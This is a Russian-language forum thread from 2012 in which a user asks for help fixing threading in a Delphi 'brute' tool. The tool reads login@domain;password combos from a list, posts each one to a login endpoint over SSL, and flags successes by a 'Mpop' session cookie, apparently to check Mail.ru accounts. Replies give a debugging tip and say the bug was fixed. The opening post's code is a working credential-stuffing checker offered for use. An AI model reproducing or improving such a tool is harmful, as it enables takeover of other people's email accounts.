Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Брут, потоки ^_^

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 13.09.2012, 17:32   #1
 Разведчик
Аватар для pavel!
 
pavel! никому не известный тип
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Брут, потоки ^_^

Проблема с потоками . . .
На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы.
Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^

Цитата:
Сообщение от Поток

TNewThread = class(TThread)
private
Login : string;
Domain: string;
Pass: string;
Rez : integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;


Цитата:
Сообщение от Кнопка старт

Work:=true;
Acc:=-1;
for Thread := 1 to strtoint(form1.sSpinEdit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(form1.sSpinEdit1.Text);



Цитата:
Сообщение от брут

procedure TNewThread.Execute;
var
HTTP:TidHTTP;
CurAcc:integer;
data:tstringlist;
begin
while work do
begin
CS.Enter;
inc(Acc);
if Acc<Source.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if work then
begin
HTTP:=TidHTTP.Create(nil);
HTTP.IOHandler:=form1.IdSSLIOHandlerSocketOpenSSL1 ;
Login:= Copy(Source[CurAcc],1,Pos('@',Source[CurAcc])-1);
Domain:=Copy(Source[CurAcc], Pos('@', Source[CurAcc]) + 1, Pos(';', Source[CurAcc]) - Pos('@',Source[CurAcc]) - 1);
Pass:= Copy(Source[CurAcc],Pos(';',Source[CurAcc])+1,Length(Source[CurAcc]));
data:=tstringlist.Create;
data.add('page=');
data.Add('name='+Login);
data.Add('Domain='+Domain);
data.Add('Pass='+Pass);
HTTP.HandleRedirects:=true;
try
HTTP.Post('Zapros ^_^', data);
Rez:=0;
except
if Pos('Set-Cookie: Mpop=', HTTP.Response.RawHeaders.Text)<>0 then
Rez:=1
else
Rez:=2;
end;
HTTP.Free;
data.Free;
Synchronize(Sync);
end;
end;
end;


Ребята помогите пожалусто ^_^
  Ответить с цитированием
Старый 15.09.2012, 13:46   #2
 Разведчик
Аватар для Tip.the.besT
 
Tip.the.besT на правильном путиTip.the.besT на правильном пути
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
Отправить сообщение для Tip.the.besT с помощью ICQ Отправить сообщение для Tip.the.besT с помощью Skype™
 
По умолчанию Re: Брут, потоки ^_^

Цитата:
Сообщение от pavel!Посмотреть сообщение
Проблема с потоками . . .
На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы.
Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^

Ребята помогите пожалусто ^_^

Довольно подозрительная строка:
Код:
HTTP.IOHandler:=form1.IdSSLIOHandlerSocketOpenSSL1 ;
Попробуй создать динамически, а не присвоить из главного потока.
  Ответить с цитированием
Старый 15.09.2012, 21:14   #3
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию Re: Брут, потоки ^_^

Tip.the.besT, все нормально.
Просто в его коде была ошибка,из-за которой одно из действий зацикливалось.Я ему помог в тот же день.Просто он забыл отписаться,что проблема решена
  Ответить с цитированием
Старый 06.12.2012, 12:25   #4
 Разведчик
Аватар для Tip.the.besT
 
Tip.the.besT на правильном путиTip.the.besT на правильном пути
Регистрация: 17.01.2012
Сообщений: 19
Популярность: 126
Сказал(а) спасибо: 8
Поблагодарили 30 раз(а) в 11 сообщениях
Отправить сообщение для Tip.the.besT с помощью ICQ Отправить сообщение для Tip.the.besT с помощью Skype™
 
По умолчанию Re: Брут, потоки ^_^

Цитата:
Сообщение от RelliПосмотреть сообщение
Tip.the.besT, все нормально.
Просто в его коде была ошибка,из-за которой одно из действий зацикливалось.Я ему помог в тот же день.Просто он забыл отписаться,что проблема решена

Просто всё равно страшно, индейцев кучя и каждый подключает один и тот же ssl... Я бы не стал так с делфями шутить.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Потоки. анашан Общение и обсуждение 1 26.09.2011 16:17
Потоки vkvova5 Вопросы и ответы, обсуждения 15 21.08.2011 02:16
[Помогите!] Потоки iVs.Dark Вопросы и ответы, обсуждения 1 05.08.2011 12:24

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 21:49.

Пишите нам: forum@zhyk.ru
Copyright © 2025 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net